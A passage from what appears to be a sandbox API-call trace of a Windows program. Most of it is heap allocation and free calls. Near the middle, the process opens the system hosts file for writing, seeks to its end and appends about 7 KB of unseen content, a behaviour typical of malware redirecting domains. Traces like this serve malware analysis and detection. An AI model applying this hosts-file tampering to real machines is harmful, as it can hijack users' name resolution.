RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1f58 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1f80 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1fa8 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1fd0 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1ff8 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2020 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2048 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x13eb) returned 0x5d3a08 [0050.971] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2cc8 | out: hHeap=0x5a0000) returned 1 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2070 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2098 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d20c0 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d20e8 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x30) returned 0x5b5490 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2110 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2138 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2160 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2188 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d21b0 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d21d8 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2200 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2228 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2250 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2278 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d22a0 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d22c8 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d22f0 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2318 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2340 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2368 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2390 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d23b8 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d23e0 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2408 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2430 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2458 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2480 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d24a8 [0050.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d24d0 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d24f8 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2520 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2548 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2570 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2598 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d25c0 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2618 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1dc3) returned 0x5d4e00 [0050.972] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d3a08 | out: hHeap=0x5a0000) returned 1 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2640 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2668 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2690 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d26b8 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d26e0 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2708 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2730 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2758 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2780 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d27a8 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d27d0 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d27f8 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2820 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2848 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2870 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2898 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d28c0 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d28e8 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2910 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2938 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2960 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2988 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d29b0 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d29d8 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2a00 [0050.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2a28 [0050.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2a50 [0050.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2a78 [0050.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d2aa0 [0050.973] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cff28 | out: hHeap=0x5a0000) returned 1 [0050.973] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x18edb0 | out: pszPath="C:\\Windows") returned 0x0 [0050.977] PathAppendW (in: pszPath="C:\\Windows", pMore="System32\\drivers\\etc\\hosts" | out: pszPath="C:\\Windows\\System32\\drivers\\etc\\hosts") returned 1 [0050.977] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\hosts" (normalized: "c:\\windows\\system32\\drivers\\etc\\hosts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0050.977] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x338 [0050.977] SetFilePointer (in: hFile=0xa0, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x30) returned 0x5b5500 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x47) returned 0x5d0110 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b5500 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6a) returned 0x5d0160 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d0110 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x9e) returned 0x5d01d8 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d0160 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xec) returned 0x5d0280 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d01d8 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x161) returned 0x5d0110 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d0280 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x211) returned 0x5d0280 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d0110 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x319) returned 0x5d04a0 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d0280 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4a5) returned 0x5d07c8 [0050.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d04a0 | out: hHeap=0x5a0000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6f7) returned 0x5d0c78 [0050.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d07c8 | out: hHeap=0x5a0000) returned 1 [0050.978] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa72) returned 0x5d0110 [0050.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d0c78 | out: hHeap=0x5a0000) returned 1 [0050.978] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfaa) returned 0x5d2e00 [0050.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d0110 | out: hHeap=0x5a0000) returned 1 [0050.978] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x17a1) returned 0x5d6bd0 [0050.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2e00 | out: hHeap=0x5a0000) returned 1 [0050.978] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x235f) returned 0x5d8380 [0050.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d6bd0 | out: hHeap=0x5a0000) returned 1 [0050.978] WriteFile (in: hFile=0xa0, lpBuffer=0x5d83a0*, nNumberOfBytesToWrite=0x1c76, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x5d83a0*, lpNumberOfBytesWritten=0x18ed70*=0x1c76, lpOverlapped=0x0) returned 1 [0050.979] CloseHandle (hObject=0xa0) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d8380 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc118 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc140 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc168 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc190 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc1b8 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc1e0 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc208 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc230 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc258 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc280 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc2a8 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc2d0 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc2f8 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc320 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc348 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc370 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc398 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc3c0 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc3e8 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc410 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cc438 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1618 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1640 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1668 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1690 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d16b8 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d16e0 | out: hHeap=0x5a0000) returned 1 [0051.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1708 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1730 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1758 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1780 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d17a8 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d17d0 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d17f8 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1820 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1848 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1870 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1898 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d18c0 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1910 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1938 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1960 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1988 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d19b0 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d19d8 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1a00 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1a28 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1a50 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1a78 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1aa0 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1ac8 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1af0 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1b18 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1b40 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1b68 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1b90 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1bb8 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1be0 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1c08 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1c30 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1c58 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1c80 | out: hHeap=0x5a0000) returned 1 [0051.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1ca8 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1cd0 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1cf8 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1d20 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1d48 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1d70 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1d98 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1dc0 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1e18 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1e40 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1e68 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1e90 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1eb8 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1ee0 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1f08 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1f30 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1f58 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1f80 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1fa8 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1fd0 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1ff8 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2020 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2048 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2070 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2098 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d20c0 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d20e8 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b5490 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2110 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2138 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2160 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2188 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d21b0 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d21d8 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2200 | out: hHeap=0x5a0000) returned 1 [0051.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2228 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2250 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2278 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d22a0 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d22c8 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d22f0 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2318 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2340 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2368 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2390 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d23b8 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d23e0 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2408 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2430 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2458 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2480 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d24a8 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d24d0 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d24f8 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2520 | out: hHeap=0x5a0000) 